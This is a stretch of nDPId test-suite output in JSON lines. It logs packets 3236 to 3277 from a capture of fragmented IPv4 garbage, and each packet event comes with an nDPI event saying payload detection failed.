+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 